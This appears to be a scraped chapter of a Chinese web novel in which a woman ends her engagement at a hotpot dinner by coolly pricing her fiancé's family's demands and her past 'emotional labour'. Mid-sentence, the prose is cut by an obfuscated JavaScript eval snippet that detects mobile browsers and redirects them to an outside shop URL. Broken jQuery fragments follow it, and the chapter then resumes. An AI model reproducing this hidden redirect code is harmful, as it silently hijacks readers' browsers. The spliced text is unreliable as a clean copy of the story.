“算错了?什么算错了?”


    张哲被林知微那陌生的眼神看得心里一阵发毛,语气也变得严厉起来,“林知微,你别在这阴阳怪气的,有什么不满你就直说!”


    未来婆婆李娟也沉下脸,阴阳怪气地帮腔:“哎哟,我们知微是高材生文化人,是不是瞧不起我这来自乡下的老婆子啊?怎么现在说话都让我们听不懂了?不就是15万装修款吗?怎么,你家还想讨价还价啊?”


    林知微没有理会李娟的挑衅,她的目光始终锁定在张哲脸上,平静得像是在宣读一份与自己无关的报告。


    “我不是在算装修款。”她晃了晃手机屏幕,上面计算器显示的“90,000,000”的数字刺痛了张家三口的眼,“我是在计算我的‘入赘’置换成本。”


    “入赘,入什么赘?你是不是疯了!还想让我们张哲入赘?”李娟像是听到了天大的笑话,声音陡然尖利起来。


    林知微嘴角勾起一抹弧度,“阿姨,别急。我只是在进行一个假设。”


    她将手机屏幕转向张哲,声音不大,却清晰地传遍了每一个人的耳朵,“如果我们将我和张哲的性别做一下互换。也就是现在我是男方,张哲是女方,根据最新的社会婚恋价值大数据分析——”


    她刻意停顿了一下,看着着对面一家三口从讥讽转为错愕的表情。


    “像我这种条件的独立个体——大厂员工,独生子,父母有退休金,不烟不酒无不良嗜好,有独立资产。如果选择‘入赘’,也就是孩子随女方家姓,并且婚后以女方家庭为核心。那么,对女方家的要求,门槛是——”


    她伸出一根手指,轻轻点在手机屏幕上。


    “第一,女方需提供不低于A9级别,也就是九位数的资产证明,用于帮助男方完成阶级跨越。”


    “第二,女方需独立承担婚后一切开销,包括但不限于生育、养育、教育等全部费用。”


    “第三,女方必须提供顶格的情绪价值,做到对男方‘无条件包容、无底线崇拜’。”


    “第四,也是最重要的一点,女方原生家庭不得对我们的婚姻指手画脚。”


    她每说一条,张哲的脸色就难看一分,李娟的嘴巴就张大一分。当她说完最后一条时,全场已经陷入了死一般的寂静,连向来不怎么管事的未来公公都抬起了头,像看怪物一样看着林知微。


    林知微好整以暇地收回手机,目光再次落在张哲的脸上,语气平淡却字字诛心:


    “张女士,按照这个标准,你现在的全部身家,恐怕连我这个‘入赘门槛’的验资资格都不够。更别提,你还要求我倒贴15万,承担装修贷,并且在你的婚前房产上,连个名字都不能拥有。”


    她微微前倾,盯着张哲的眼睛,一字一顿地问道:“现在,请你告诉我,你凭什么?”


    “你……你这是歪理!你是女的!我们家张哲是男的!这能一样吗?!”李娟终于从震惊中反应过来,猛地一拍桌子,尖叫着跳了起来,唾沫星子横飞。


    “对啊,确实,现实里我是女的。”林知微笑了,这次的笑容里,充满了毫不掩饰的嘲讽,“原来阿姨也知道男女有别啊?”


    她站起身,居高临下地看着这一家三口,声音陡然提高,充满了压抑已久的愤怒和决绝:


    “既然知道我是女人,为什么要求我像男人一样,承担本不该我承担的购房装修费用?”


    “既然要求我像男人一样挣钱养家,为什么又要我像旧社会一样,对你们的要求低眉顺眼,予取予求?”


    “一边享受着男权社会给我定价的‘廉价’,一边又想榨干我作为独立女性的‘价值’?”


    “张哲,天底下哪有这么好的事?既要这个又要哪个的好处都让你们占了,我图什么?图你年纪大?图你爱洗澡?”


    最后那句网络流行梗,像一记无形的耳光,狠狠扇在张哲的脸上。


    “林知微!”张哲终于爆发了,他猛地站起来,双目赤红地瞪着她,“你TM今天吃错什么药了敢这么和我妈说话!就为了这点钱,你至于吗?!”


    “至于。”林知微冷冷地看着他,眼神坚定得没有一丝一毫的动摇,“以前我觉得不至于,是因为我自卑,但现在我发现该自卑的不是我,所以我觉得很至于。”


    她拿起桌上那份根本没来得及签的《装修出资协议》,在张家三口惊愕的目光中,“撕拉”一声,干脆利落地将它撕成了两半,然后是四半,八半……


    雪白的纸屑,像一场迟来的大雪,纷纷扬扬地落在狼藉的火锅桌上。


    “既然对于你们家来说婚姻是一场利益置换,就当这次‘合作’前提已经崩塌,那么这个项目,就此流标吧。”说完。她将最后一点纸屑扔在桌上,拿起自己的包,转身就走。


    走到包厢门口,她忽然停下脚步,回头看了一眼目瞪口呆的三人,脸上露出一个堪称“和善”的微笑。


    “哦,对了。”


    她扬了扬手机的付款码界面。


    “今天的饭钱,我一共就喝了一壶茶,48块钱我已经付过去了。”


    这轻飘飘的一句话,比刚才那一万句的控诉,侮辱性都更强。


    张哲的脸瞬间从猪肝色变成了酱紫色,他感觉浑身的血液都在往头顶上冲,嘴唇哆嗦着,一个字也说不出来。


    林知微却根本不在乎,头也不回地走出了包厢,留下身后一片狼藉和三张几乎要扭曲的脸。


    她走出火锅店的大门,午后刺眼的阳光照在脸上,林知微长长地、长长地舒了一口气。


    感觉就像压在心头二十七年的一块巨石,终于被撬动了一角。


    空气,是前所未有的新鲜。


    然而,她还没来得及享受这片刻的自由,身后就传来一阵急促的脚步声,手腕猛地被人攥住。


    “林知微,你把话说清楚再走!”


    是张哲追了出来。


    张哲的力气很大,手像一把铁钳,紧紧箍住林知微的手腕,勒得她生疼。


    他还算有些清秀的脸此刻因为愤怒而显得有些狰狞,声音里充满了被冒犯的恼怒和高高在上的质问:“你到底在闹什么?林知微,你非得要在我妈面前闹的这么不愉快吗?我问你,你平时不是最通情达理了吗?!”


    林知微用力挣了一下,没挣开。


    她抬起头,冷冷地看着他,眼神里没有一丝一毫的畏惧,只有纯粹的厌恶。


    “放手。”


    “我不放!你今天必须给我一个解释!”张哲说着就强制将她往旁边的墙角拽去,试图避开路人的视线,他的声音压低了,但那股子居高临下的PUA味道却更浓了,“就为了十五万,你就把我们三年的感情扔了?你就这么作?你以为你还年轻吗?你27了,奔三的年纪了!我肯娶你,是在收留你,是给你面子!你别给脸不要脸!”


    “收留我?”林知微听到这三个字,怒极反笑。


    就在这一刻,她眼前的系统面板再次闪烁起来。


    【警告!检测到C-级劣质资产正试图进行情感绑架,启动不良资产重组!】


    【建议宿主立刻启动“风险隔离协议”,并对过往投入进行“沉没成本清算”!】


    【“绝对理性”模式已强化,情感屏蔽功能开启!】


    一瞬间,林知微感觉自己的大脑变得前所未有的清醒和冷静。


    张哲那张愤怒的脸,还有在他身后焦急张望的父母,以及周围路人投来的好奇目光,所有的一切都像电影里的慢镜头,清晰而又遥远。


    她心中最后那一丝因为三年感情而残留的犹豫,也在此刻烟消云散。


    她的大脑,现在好用得像一台超级计算机。


    系统给出的信息,瞬间被她转化为最锋利的语言武器。


    “张哲,你刚刚说,你肯娶我,是收留我?”林知微的语气平静得可怕,“那我们不妨来算


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059986|195024||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一笔账。”


    她不再挣扎,反而向前一步,逼近了张哲,目光如炬地盯着他的眼睛。


    “我们恋爱三年,一共1095天。你加班、出差、跟朋友喝酒,我有至少600个晚上,像个保姆一样,给你做好了饭菜等你回家。按照市场上钟点工做一顿饭最低收费元来算,这项劳务费就按最低的算,是十万元,还不包括买菜钱。”


    张哲愣住了,显然没料到她会说出这种话:“你……你说什么?”


    林知微没有理他,继续冷静地计算着,声音不大,却字字清晰:


    “这三年里,你母亲李娟女士,明里暗里找我茬,说我不会打扮,说我花钱大手大脚,说我配不上你,总计不少于50次。我每次都要笑脸相迎,耐心解释,安抚她的情绪,再反过来安抚被她影响的你。这是典型的婆媳矛盾前期高强度情绪劳动。按照家庭矛盾调解员的市场价,一次500块,不过分吧?这笔费用,是2万5千元。”


    “你工作上遇到不顺心,回来对我大发雷霆,事后连一句道歉都没有,全靠我自我消化,并反过来给你提供情绪价值。这三年,少说也有100次。按照心理咨询师的收费标准,一小时500元,给你打个折,就算你150次,总共是7万5千元。”


    林知微每说一条,张哲的脸色就白一分。他像是第一次认识眼前这个女人,张着嘴,却一个字也反驳不出来。


    周围的围观群众越来越多,尤其是几个年轻女孩,听到林知微的“清算”,眼睛都亮了,纷纷拿出手机,对准了这边。


    “还有。”林知微看着他已经开始躲闪的眼神,嘴角的冷笑更深了,“你所谓的‘老实’,不过是因为没钱去玩;你所谓的‘脾气好’,不过是因为懦弱不敢和外人起冲突,只能窝里横。你所谓的‘为我好’,不过是想用最低的成本,榨取我最高的价值。”


    “综上所述,恋爱三年,我为你付出的情绪价值、劳务价值、时间成本,折合成人民币,总计——”


    她顿了顿,给出了那个最终数字:


    “二十万元整。”


    “如果你的目的是想挽回我,可以。麻烦你,先把这二十万的‘沉没成本’,结一下。”


    “噗——”旁边一个围观的女孩没忍住,直接笑了出来。


    紧接着,人群中爆发出不大不小的议论声。


    “卧槽!这姐姐太帅了吧!第一次看到有人这么算账的!”


    “算得好!凭什么人家付出就是应该的?这些情绪劳动不算钱吗?”


    “这男的刚才还说‘收留’人家,笑死,谁收留谁啊?”


    “快拍下来,发到网上去,标题我都想好了,《普信男PUA不成,反被女友索赔二十万》!”


    张哲的脸,在众人的议论声和手机摄像头的闪光灯下,由白转红,由红转青,最后变成了死灰色。


    他感觉自己像一个被扒光了衣服的小丑,被钉在耻辱柱上,供人围观。


    “你……你疯了!你就是个疯子!掉钱眼里了!”


    他终于从牙缝里挤出这句苍白无力的咒骂,猛地甩开林知微的手,像是躲避瘟疫一样,拨开人群,落荒而逃。


    看着他狼狈不堪的背影,林知微揉了揉被捏得发红的手腕,心中没有一丝报复的快感,只有一种解脱后的平静。


    就在这时,那熟悉的系统提示音,如天籁般在脑海中响起。


    【叮——恭喜宿主!成功切割C-级劣质资产,彻底摆脱“恋爱脑”负面称号!】


    【系统检测到宿主个人价值认知已完成重塑,个人估值模型优化,综合价值已上涨20%!】


    【新手任务完成奖励:解锁新功能——“男性思维学习系统”(待激活,需进入男性思维浓厚地带自动激活)!】


    【长线任务已开启:请宿主继续利用性别价值转换器与新功能在自己的世界里,杀出一条血路,实现财务与精神的双重自由!】